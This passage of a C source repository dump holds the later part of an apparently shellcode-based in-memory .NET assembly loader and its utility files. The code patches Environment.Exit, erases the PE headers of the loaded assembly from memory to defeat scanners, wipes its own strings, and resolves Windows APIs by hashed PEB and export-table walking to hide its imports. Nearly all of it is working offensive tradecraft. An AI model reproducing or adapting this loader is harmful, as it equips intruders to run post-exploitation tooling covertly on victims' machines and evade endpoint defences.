555 | PipePrint( &Api, Log, "GetType_2( System.RuntimeMethodHandle ) : %lx %p\n", Hrs, ( PVOID )Clr.RM );
556 | #endif
557 | goto cleanup;
558 | };
559 | if ( Ols.System_RuntimeMethodHandle != NULL )
560 | {
561 | Api.SysFreeString( Ols.System_RuntimeMethodHandle );
562 | Ols.System_RuntimeMethodHandle = NULL;
563 | };
564 |
565 | Ols.GetFunctionPointer = Api.SysAllocString( L"GetFunctionPointer" );
566 | Hrs = Clr.RM->lpVtbl->GetMethod_2( Clr.RM, Ols.GetFunctionPointer, BindingFlags_Instance | BindingFlags_Public, &Clr.FP );
567 | if ( Hrs != S_OK )
568 | {
569 | #ifdef _ERROR
570 | PipePrint( &Api, Log, "GetMethod_2( GetFunctionPointer ) : %lx %p\n", Hrs, ( PVOID )Clr.FP );
571 | #endif
572 | goto cleanup;
573 | };
574 | if ( Ols.GetFunctionPointer != NULL )
575 | {
576 | Api.SysFreeString( Ols.GetFunctionPointer );
577 | Ols.GetFunctionPointer = NULL;
578 | };
579 |
580 | Clr.FA = Api.SafeArrayCreateVector( VT_EMPTY, 0, 0 );
581 | RtlSecureZeroMemory( &Clr.V2, sizeof( VARIANT ) );
582 | Clr.V1.vt = VT_NULL;
583 | Clr.V1.plVal = NULL;
584 |
585 | Hrs = Clr.FP->lpVtbl->Invoke_3( Clr.FP, Clr.V3, Clr.FA, &Clr.V2 );
586 | if ( Hrs != S_OK )
587 | {
588 | #ifdef _ERROR
589 | PipePrint( &Api, Log, "Invoke_3( GetFunctionPointer ) : %lx %p\n", Hrs, ( PVOID )Clr.V2.byref );
590 | #endif
591 | goto cleanup;
592 | };
593 | Api.SafeArrayDestroy( Clr.FA );
594 |
595 | NumBytes = 1;
596 | ExitIPtr = ( PVOID )Clr.V2.byref;
597 | BaseIPtr = ( PVOID )Clr.V2.byref;
598 | if ( NT_SUCCESS( Api.NtProtectVirtualMemory( NtCurrentProcess(), &BaseIPtr, &NumBytes, PAGE_READWRITE, &OldProtA ) ) )
599 | {
600 | OrigData = *( ( byte* )ExitIPtr );
601 | *( byte* )ExitIPtr = 0xc3;
602 |
603 | if ( !NT_SUCCESS( Api.NtProtectVirtualMemory( NtCurrentProcess(), &BaseIPtr, &NumBytes, OldProtA, &OldProtB ) ) )
604 | {
605 | #ifdef _ERROR
606 | PipePrint( &Api, Log, "Second VirtualProtectEx failed\n" );
607 | #endif
608 | };
609 | }
610 | else
611 | {
612 | PipePrint( &Api, Log, "[-] Unable to patch Environment.Exit()!\n" );
613 | };
614 |
615 | Hrs = Clr.AS->lpVtbl->get_EntryPoint( Clr.AS, ( _MethodInfo** )&Clr.EN );
616 | if ( Hrs != S_OK )
617 | {
618 | #ifdef _ERROR
619 | PipePrint( &Api, Log, "Error get_EntryPoint : %lx\n", Hrs );
620 | #endif
621 | goto cleanup;
622 | };
623 |
624 | Hrs = Clr.EN->lpVtbl->GetParameters( Clr.EN, &Clr.AR );
625 | if ( Hrs != S_OK )
626 | {
627 | #ifdef _ERROR
628 | PipePrint( &Api, Log, "Error GetParameters : %lx\n", Hrs );
629 | #endif
630 | goto cleanup;
631 | };
632 | Hrs = Api.SafeArrayGetLBound( Clr.AR, 1, &Clr.LC );
633 | if ( Hrs != S_OK )
634 | {
635 | #ifdef _ERROR
636 | PipePrint( &Api, Log, "Error SafeArrayGetLBound : %lx\n", Hrs );
637 | #endif
638 | goto cleanup;
639 | };
640 |
641 | Hrs = Api.SafeArrayGetUBound( Clr.AR, 1, &Clr.UC );
642 | if ( Hrs != S_OK )
643 | {
644 | #ifdef _ERROR
645 | PipePrint( &Api, Log, "Error SafeArrayGetUBound : %lx\n", Hrs );
646 | #endif
647 | goto cleanup;
648 | };
649 |
650 | RtlSecureZeroMemory( &Clr.V1, sizeof( VARIANT ) );
651 | RtlSecureZeroMemory( &Clr.V2, sizeof( VARIANT ) );
652 | RtlSecureZeroMemory( &Clr.V3, sizeof( VARIANT ) );
653 |
654 | Clr.V1.vt = VT_NULL;
655 | Clr.V1.plVal = NULL;
656 |
657 | Clr.CT = Clr.UC - Clr.LC + 1;
658 | if ( Clr.CT != 0 )
659 | {
660 | Clr.PR = Api.SafeArrayCreateVector( VT_VARIANT, 0, 1 );
661 | if ( cmpstr( ArgStr, "NOARGS" ) != 0 )
662 | {
663 | Api.MultiByteToWideChar( CP_ACP, 0, ArgStr, -1, Clr.BF, 256 );
664 | Clr.AL = Api.CommandLineToArgvW( Clr.BF, &Clr.AC );
665 | Clr.V3.vt = ( VT_ARRAY | VT_BSTR );
666 | Clr.V3.parray = Api.SafeArrayCreateVector( VT_BSTR, 0, Clr.AC );
667 |
668 | for ( Idx = 0; Idx < Clr.AC; Idx++ )
669 | {
670 | Api.SafeArrayPutElement( Clr.V3.parray, &Idx, Api.SysAllocString( Clr.AL[Idx] ) );
671 | };
672 | }
673 | else
674 | {
675 | Clr.V3.vt = ( VT_ARRAY | VT_BSTR );
676 | Clr.SB[0].lLbound = 0;
677 | Clr.SB[0].cElements = 0;
678 | Clr.V3.parray = Api.SafeArrayCreate( VT_BSTR, 1, Clr.SB );
679 | Clr.SB[0].cElements = 1;
680 | Clr.PR = Api.SafeArrayCreate( VT_VARIANT, 1, Clr.SB );
681 |
682 | };
683 | Idx = 0;
684 | Api.SafeArrayPutElement( Clr.PR, &Idx, &Clr.V3 );
685 | Api.SafeArrayDestroy( Clr.V3.parray );
686 | }
687 | else
688 | {
689 | Clr.PR = Api.SafeArrayCreateVector( VT_EMPTY, 0, 0 );
690 | };
691 |
692 | if ( ArgStr != NULL )
693 | {
694 | RtlSecureZeroMemory( ArgStr, ArgSiz );
695 | Api.RtlFreeHeap( NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap,
696 | 0,
697 | ArgStr
698 | );
699 | ArgStr = NULL;
700 | };
701 |
702 | Api.GetSystemInfo( &SysInfo );
703 | if ( SysInfo.lpMinimumApplicationAddress == 0 )
704 | {
705 | #ifdef _ERROR
706 | PipePrint( &Api, Log, "Error getting system info\n" );
707 | #endif
708 | goto postwipe;
709 | };
710 | ProcMin = SysInfo.lpMinimumApplicationAddress;
711 | while ( ProcMin < SysInfo.lpMaximumApplicationAddress )
712 | {
713 | if ( !NT_SUCCESS( ( Api.NtQueryVirtualMemory( NtCurrentProcess(), ProcMin, MemoryBasicInformation, &MemInfo, sizeof( MemInfo ), NULL ) ) ) )
714 | {
715 | #ifdef _ERROR
716 | PipePrint( &Api, Log, "Error querying memory info\n" );
717 | #endif
718 | goto next;
719 | };
720 | if ( MemInfo.State == MEM_COMMIT && ( MemInfo.Protect == PAGE_EXECUTE_READWRITE || MemInfo.Protect == PAGE_EXECUTE_READ ) )
721 | {
722 | SrchBuff = ( PBYTE )Api.RtlAllocateHeap( NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap, 0, MemInfo.RegionSize );
723 | cpymem( SrchBuff, MemInfo.BaseAddress, MemInfo.RegionSize );
724 |
725 | Position = 0;
726 | CurrSrch = 0;
727 | CurrChar;
728 | SrchAddr = NULL;
729 | NumBytes = 4096;
730 | while( Position <= MemInfo.RegionSize )
731 | {
732 | CurrChar = SrchBuff[Position];
733 | Position++;
734 |
735 | if ( CurrChar == header[CurrSrch] )
736 | {
737 | CurrSrch++;
738 | if ( CurrSrch == ADATA_SIZE( header ) && Position < NumBytes )
739 | {
740 | CurrSrch = 0;
741 | SrchAddr = MemInfo.BaseAddress + Position - ADATA_SIZE( header ) - 4;
742 | if ( *( PBYTE )SrchAddr == 0x4d )
743 | {
744 | #ifdef _VERBOSE
745 | PipePrint( &Api, Log, "[+] Found PE header at 0x%p in region 0x%p\n", SrchAddr, MemInfo.BaseAddress );
746 | #endif
747 | Nst = Api.NtProtectVirtualMemory( NtCurrentProcess(), &MemInfo.BaseAddress, &NumBytes, PAGE_EXECUTE_WRITECOPY, &OldProtA );
748 | if ( !NT_SUCCESS( Nst ) )
749 | {
750 | #ifdef _ERROR
751 | PipePrint( &Api, Log, "Error changing memory protection: 0x%lx\nOld prot: 0x%x\n", Nst, OldProtA );
752 | #endif
753 | goto next;
754 | };
755 | RtlSecureZeroMemory( ( PVOID )( SrchAddr ), 2 ); // MZ
756 | RtlSecureZeroMemory( ( PVOID )( SrchAddr + 60 ), 4 ); // e_lfanew
757 | RtlSecureZeroMemory( ( PVOID )( SrchAddr + 64 ), 66 ); // DOS
758 | RtlSecureZeroMemory( ( PVOID )( SrchAddr + 256 ), 4 ); // Rich
759 | RtlSecureZeroMemory( ( PVOID )( SrchAddr + 288 ), 2 ); // PE
760 | if ( !NT_SUCCESS( Api.NtProtectVirtualMemory( NtCurrentProcess(), &MemInfo.BaseAddress, &NumBytes, OldProtA, &OldProtB ) ) )
761 | {
762 | #ifdef _ERROR
763 | PipePrint( &Api, Log, "Error restoring PE header memory protection\n" );
764 | #endif
765 | goto next;
766 | };
767 | };
768 | };
769 | }
770 | else
771 | {
772 | CurrSrch = 0;
773 | };
774 | };
775 | if ( SrchBuff != NULL )
776 | {
777 | next:
778 | RtlSecureZeroMemory( SrchBuff, MemInfo.RegionSize );
779 | Api.RtlFreeHeap( NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap, 0, SrchBuff );
780 | };
781 | };
782 | ProcMin += MemInfo.RegionSize;
783 | };
784 |
785 | postwipe:
786 | if ( header != NULL )
787 | {
788 | RtlSecureZeroMemory( header, sizeof( header ) );
789 | };
790 |
791 | Hrs = Clr.EN->lpVtbl->Invoke_3( Clr.EN, Clr.V1, Clr.PR, &Clr.V2 );
792 | if ( Hrs != S_OK )
793 | {
794 | PipePrint( &Api, Log, "[-] .NET Runtime Error: %lx\n", Hrs );
795 | goto cleanup;
796 | };
797 | Api.SafeArrayDestroy( Clr.PR );
798 | };
799 | };
800 |
801 | cleanup:
802 | if ( OrigData != NULL )
803 | {
804 | NumBytes = 1;
805 | if ( NT_SUCCESS( Api.NtProtectVirtualMemory( NtCurrentProcess(), &BaseIPtr, &NumBytes, PAGE_READWRITE, &OldProtA ) ) )
806 | {
807 | *( byte* )ExitIPtr = OrigData;
808 | Api.NtProtectVirtualMemory( NtCurrentProcess(), &BaseIPtr, &NumBytes, OldProtA, &OldProtB );
809 | };
810 | };
811 |
812 | if ( PipStr != NULL )
813 | {
814 | RtlSecureZeroMemory( PipStr, PipSiz );
815 | Api.RtlFreeHeap( NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap,
816 | 0,
817 | PipStr
818 | );
819 | PipStr = NULL;
820 | #ifdef _VERBOSE
821 | PipePrint( &Api, Log, "[-] Pipe string wiped in cleanup\n" );
822 | #endif
823 | };
824 |
825 | if ( LenStr != NULL )
826 | {
827 | RtlSecureZeroMemory( LenStr, LenSiz );
828 | Api.RtlFreeHeap( NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap,
829 | 0,
830 | LenStr
831 | );
832 | LenStr = NULL;
833 | #ifdef _VERBOSE
834 | PipePrint( &Api, Log, "[-] Length string wiped in cleanup\n" );
835 | #endif
836 | };
837 |
838 | if ( AsmStr != NULL )
839 | {
840 | RtlSecureZeroMemory( AsmStr, AsmSiz );
841 | Api.RtlFreeHeap( NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap,
842 | 0,
843 | AsmStr
844 | );
845 | AsmStr = NULL;
846 | #ifdef _VERBOSE
847 | PipePrint( &Api, Log, "[-] Assembly string wiped in cleanup\n" );
848 | #endif
849 | };
850 |
851 | if ( ArgStr != NULL )
852 | {
853 | RtlSecureZeroMemory( ArgStr, ArgSiz );
854 | Api.RtlFreeHeap( NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap,
855 | 0,
856 | ArgStr
857 | );
858 | ArgStr = NULL;
859 | #ifdef _VERBOSE
860 | PipePrint( &Api, Log, "[-] Arguments string wiped in cleanup\n" );
861 | #endif
862 | };
863 |
864 | if ( ModuleName != NULL )
865 | {
866 | RtlSecureZeroMemory( ModuleName, _MAX_FNAME );
867 | Api.RtlFreeHeap( NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap,
868 | 0,
869 | ModuleName
870 | );
871 | ModuleName = NULL;
872 | #ifdef _VERBOSE
873 | PipePrint( &Api, Log, "[-] Module name string wiped in cleanup\n" );
874 | #endif
875 | };
876 | if ( AppDomain != NULL )
877 | {
878 | RtlSecureZeroMemory( AppDomain, _MAX_FNAME );
879 | Api.RtlFreeHeap( NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap,
880 | 0,
881 | AppDomain
882 | );
883 | AppDomain = NULL;
884 | #ifdef _VERBOSE
885 | PipePrint( &Api, Log, "[-] Appdomain name string wiped in cleanup\n" );
886 | #endif
887 | };
888 |
889 | if ( header != NULL && header[0] != 0x00 )
890 | {
891 | RtlSecureZeroMemory( header, sizeof( header ) );
892 | #ifdef _VERBOSE
893 | PipePrint( &Api, Log, "[-] Header bytes wiped in cleanup\n" );
894 | #endif
895 | };
896 | if ( netv4 != NULL && netv4[0] != 0x00 )
897 | {
898 | RtlSecureZeroMemory( netv4, sizeof( netv4 ) );
899 | #ifdef _VERBOSE
900 | PipePrint( &Api, Log, "[-] .NET version string wiped in cleanup\n" );
901 | #endif
902 | };
903 |
904 | if ( Clr.EN )
905 | {
906 | Clr.EN->lpVtbl->Release( Clr.EN );
907 | };
908 | if ( Clr.AS )
909 | {
910 | Clr.AS->lpVtbl->Release( Clr.AS );
911 | };
912 | if ( Clr.MS )
913 | {
914 | Clr.MS->lpVtbl->Release( Clr.MS );
915 | };
916 | if ( Clr.AD )
917 | {
918 | Clr.AD->lpVtbl->Release( Clr.AD );
919 | };
920 | if ( Clr.DA )
921 | {
922 | Clr.DA->lpVtbl->Release( Clr.DA );
923 | };
924 | if ( Clr.RH )
925 | {
926 | Clr.RH->lpVtbl->UnloadDomain( Clr.RH, Clr.DA );
927 | };
928 | if ( Clr.RI )
929 | {
930 | Clr.RI->lpVtbl->Release( Clr.RI );
931 | };
932 | if ( Clr.MH )
933 | {
934 | Clr.MH->lpVtbl->Release( Clr.MH );
935 | };
936 |
937 | if ( OLd && Ole != NULL )
938 | {
939 | Nst = Api.LdrUnloadDll( Ole );
940 | };
941 | if ( SLd && Shl != NULL )
942 | {
943 | Nst = Api.LdrUnloadDll( Shl );
944 | };
945 | if ( VLd && Mvc != NULL )
946 | {
947 | Nst = Api.LdrUnloadDll( Mvc );
948 | };
949 | if ( MLd && Msc != NULL )
950 | {
951 | Nst = Api.LdrUnloadDll( Msc );
952 | };
953 | if ( ULd && U32 != NULL )
954 | {
955 | Nst = Api.LdrUnloadDll( U32 );
956 | };
957 |
958 | if ( Ols.Exit != NULL )
959 | {
960 | Api.SysFreeString( Ols.Exit );
961 | #ifdef _VERBOSE
962 | PipePrint( &Api, Log, "[-] Exit string cleared in cleanup\n" );
963 | #endif
964 | };
965 | if ( Ols.GetFunctionPointer != NULL )
966 | {
967 | Api.SysFreeString( Ols.GetFunctionPointer );
968 | #ifdef _VERBOSE
969 | PipePrint( &Api, Log, "[-] GetFunctionPointer string cleared in cleanup\n" );
970 | #endif
971 | };
972 | if ( Ols.MethodInfo != NULL )
973 | {
974 | Api.SysFreeString( Ols.MethodInfo );
975 | #ifdef _VERBOSE
976 | PipePrint( &Api, Log, "[-] MethodInfo string cleared in cleanup\n" );
977 | #endif
978 | };
979 | if ( Ols.Mscorlib != NULL )
980 | {
981 | Api.SysFreeString( Ols.Mscorlib );
982 | #ifdef _VERBOSE
983 | PipePrint( &Api, Log, "[-] Mscorlib string cleared in cleanup\n" );
984 | #endif
985 | };
986 | if ( Ols.System_Environment != NULL )
987 | {
988 | Api.SysFreeString( Ols.System_Environment );
989 | #ifdef _VERBOSE
990 | PipePrint( &Api, Log, "[-] System_Environment string cleared in cleanup\n" );
991 | #endif
992 | };
993 | if ( Ols.System_Reflection_MethodInfo != NULL )
994 | {
995 | Api.SysFreeString( Ols.System_Reflection_MethodInfo );
996 | #ifdef _VERBOSE
997 | PipePrint( &Api, Log, "[-] System_Reflection_MethodInfo string cleared in cleanup\n" );
998 | #endif
999 | };
1000 | if ( Ols.System_RuntimeMethodHandle != NULL )
1001 | {
1002 | Api.SysFreeString( Ols.System_RuntimeMethodHandle );
1003 | #ifdef _VERBOSE
1004 | PipePrint( &Api, Log, "[-] System_RuntimeMethodHandle string cleared in cleanup\n" );
1005 | #endif
1006 | };
1007 |
1008 | #ifdef _VERBOSE
1009 | PipePrint( &Api, Log, "[+] Execution complete\n" );
1010 | #endif
1011 |
1012 | if ( Wnd != NULL )
1013 | {
1014 | Api.WaitForSingleObject( NtCurrentThread(), 1000 );
1015 | Api.FreeConsole();
1016 | };
1017 | if ( Out != INVALID_HANDLE_VALUE )
1018 | {
1019 | Api.WaitForSingleObject( NtCurrentThread(), 1000 );
1020 | Api.SetStdHandle( STD_OUTPUT_HANDLE, Out );
1021 | };
1022 | if ( Log != INVALID_HANDLE_VALUE )
1023 | {
1024 | Api.WaitForSingleObject( NtCurrentThread(), 1000 );
1025 | Api.NtClose( Log );
1026 | };
1027 |
1028 | RtlSecureZeroMemory( &Uni, sizeof( Uni ) );
1029 | RtlSecureZeroMemory( &Ols, sizeof( Ols ) );
1030 | RtlSecureZeroMemory( &Clr, sizeof( Clr ) );
1031 | RtlSecureZeroMemory( &Api, sizeof( Api ) );
1032 |
1033 | return;
1034 | };
1035 |
--------------------------------------------------------------------------------
/src/scmain.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | D_SEC( B ) VOID WINAPI ExecuteAssembly( _In_ LPVOID Parameter );
--------------------------------------------------------------------------------
/src/util.c:
--------------------------------------------------------------------------------
1 | #include "common.h"
2 |
3 | D_SEC( E ) PVOID PebGetModule( _In_ ULONG Hash )
4 | {
5 | PPEB Peb = NULL;
6 | PLIST_ENTRY Hdr = NULL;
7 | PLIST_ENTRY Ent = NULL;
8 | PLDR_DATA_TABLE_ENTRY Ldr = NULL;
9 |
10 | Peb = NtCurrentPeb();
11 | Hdr = & Peb->Ldr->InLoadOrderModuleList;
12 | Ent = Hdr->Flink;
13 |
14 | for ( ; Hdr != Ent ; Ent = Ent->Flink ) {
15 | Ldr = C_PTR( Ent );
16 | if ( HashString( Ldr->BaseDllName.Buffer, Ldr->BaseDllName.Length ) == Hash )
17 | {
18 | return Ldr->DllBase;
19 | };
20 | };
21 | return NULL;
22 | };
23 |
24 | D_SEC( E ) PVOID PeGetFuncEat( _In_ PVOID Image, _In_ ULONG Hash )
25 | {
26 | ULONG Idx = 0;
27 | PUINT16 Aoo = NULL;
28 | PUINT32 Aof = NULL;
29 | PUINT32 Aon = NULL;
30 | PIMAGE_DOS_HEADER Hdr = NULL;
31 | PIMAGE_NT_HEADERS Nth = NULL;
32 | PIMAGE_DATA_DIRECTORY Dir = NULL;
33 | PIMAGE_EXPORT_DIRECTORY Exp = NULL;
34 |
35 | Hdr = C_PTR( Image );
36 | Nth = C_PTR( U_PTR( Hdr ) + Hdr->e_lfanew );
37 | Dir = & Nth->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
38 |
39 | if ( Dir->VirtualAddress )
40 | {
41 | Exp = C_PTR( U_PTR( Hdr ) + Dir->VirtualAddress );
42 | Aon = C_PTR( U_PTR( Hdr ) + Exp->AddressOfNames );
43 | Aof = C_PTR( U_PTR( Hdr ) + Exp->AddressOfFunctions );
44 | Aoo = C_PTR( U_PTR( Hdr ) + Exp->AddressOfNameOrdinals );
45 |
46 | for ( Idx = 0 ; Idx < Exp->NumberOfNames ; ++Idx )
47 | {
48 | if ( HashString( C_PTR( U_PTR( Hdr ) + Aon[ Idx ] ), 0 ) == Hash )
49 | {
50 | return C_PTR( U_PTR( Hdr ) + Aof[ Aoo[ Idx ] ] );
51 | };
52 | };
53 | };
54 | return NULL;
55 | };
56 |
57 |
58 | D_SEC( E ) UINT32 HashString( _In_ PVOID Buffer, _In_opt_ ULONG Length )
59 | {
60 | UCHAR Cur = 0;
61 | ULONG Djb = 0;
62 | PUCHAR Ptr = NULL;
63 |
64 | Djb = 5381;
65 | Ptr = C_PTR( Buffer );
66 |
67 | while ( TRUE ) {
68 | Cur = * Ptr;
69 |
70 | if ( ! Length )
71 | {
72 | if ( ! * Ptr )
73 | {
74 | break;
75 | };
76 | }
77 | else
78 | {
79 | if ( ( ULONG )( Ptr - ( PUCHAR ) Buffer ) >= Length )
80 | {
81 | break;
82 | };
83 | if ( ! * Ptr )
84 | {
85 | ++Ptr; continue;
86 | };
87 | };
88 | if ( Cur >= 'a' )
89 | {
90 | Cur -= 0x20;
91 | };
92 |
93 | /* Hash the character */
94 | Djb = ( ( Djb << 5 ) + Djb ) + Cur; ++Ptr;
95 | };
96 | return Djb;
97 | };
98 |
99 | D_SEC( E ) INT custatoi( _In_ PCHAR String1 )
100 | {
101 | int res = 0;
102 | for ( int i = 0; String1[i] != '\0'; ++i )
103 | {
104 | res = res * 10 + String1[i] - '0';
105 | };
106 | return res;
107 | };
108 |
109 | // https://github.com/vxunderground/VX-API/blob/main/StringsAndData/CopyMemory.c
110 | D_SEC( E ) VOID cpymem( _In_ const PVOID Destination, _In_ const PVOID Source, _In_ SIZE_T Length )
111 | {
112 | PBYTE D = ( PBYTE ) Destination;
113 | PBYTE S = ( PBYTE ) Source;
114 |
115 | while ( Length-- )
116 | {
117 | *D++ = *S++;
118 | };
119 | };
120 |
121 | // https://github.com/vxunderground/VX-API/blob/main/StringsAndData/StringCompare/StringCompareA.c
122 | D_SEC( E ) INT cmpstr( _In_ LPCSTR String1, _In_ LPCSTR String2 )
123 | {
124 | for ( ; *String1 == *String2; String1++, String2++ )
125 | {
126 | if ( *String1 == '\0' )
127 | {
128 | return 0;
129 | };
130 | };
131 | return ( ( *( LPCSTR )String1 < *( LPCSTR )String2 ) ? -1 : +1 );
132 | };
133 |
134 | // https://doxygen.reactos.org/d0/d25/host_2wine_2unicode_8h.html#a9502b96564e16c6784bdef6bb203060d
135 | D_SEC( E ) SIZE_T strlenw( _In_ PCWSTR String1 )
136 | {
137 | PCWSTR String2 = String1;
138 | while( *String2 ) String2++;
139 | return ( unsigned int )(String2 - String1);
140 | };
141 |
142 | // https://doxygen.reactos.org/de/db9/rosapps_2applications_2winfile_2splitpath_8c.html#a724226c6f4fbdc7efbe2b3306b0e6b76
143 | D_SEC( E ) VOID splitpathw( _In_ PWCHAR Path, _In_ PWCHAR Name )
144 | {
145 | PCWSTR end;
146 | PCWSTR p;
147 | PCWSTR s;
148 |
149 | end = Path + strlenw( Path );
150 |
151 | for( p = end; p > Path && *--p != '\\' && *p != '/'; )
152 | if (*p == '\0') {
153 | end = p;
154 | break;
155 | };
156 |
157 | for(p = end; p > Path; )
158 | if (*--p == '\\' || *p == '/') {
159 | p++;
160 | break;
161 | };
162 |
163 | for( s = p; s < end; )
164 | *Name++ = *s++;
165 | *Name = '\0';
166 | };
--------------------------------------------------------------------------------
/src/util.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | D_SEC( E ) PVOID PebGetModule( _In_ ULONG Hash );
4 | D_SEC( E ) PVOID PeGetFuncEat( _In_ PVOID Image, _In_ ULONG Hash );
5 | D_SEC( E ) UINT32 HashString( _In_ PVOID Buffer, _In_opt_ ULONG Length );
6 | D_SEC( E ) INT custatoi( _In_ PCHAR String1 );
7 | D_SEC( E ) VOID cpymem( _In_ const PVOID Destination, _In_ const PVOID Source, _In_ SIZE_T Length );
8 | D_SEC( E ) INT cmpstr( _In_ LPCSTR String1, _In_ LPCSTR String2 );
9 | D_SEC( E ) VOID splitpathw( _In_ PWCHAR Path, _In_ PWCHAR Name );
--------------------------------------------------------------------------------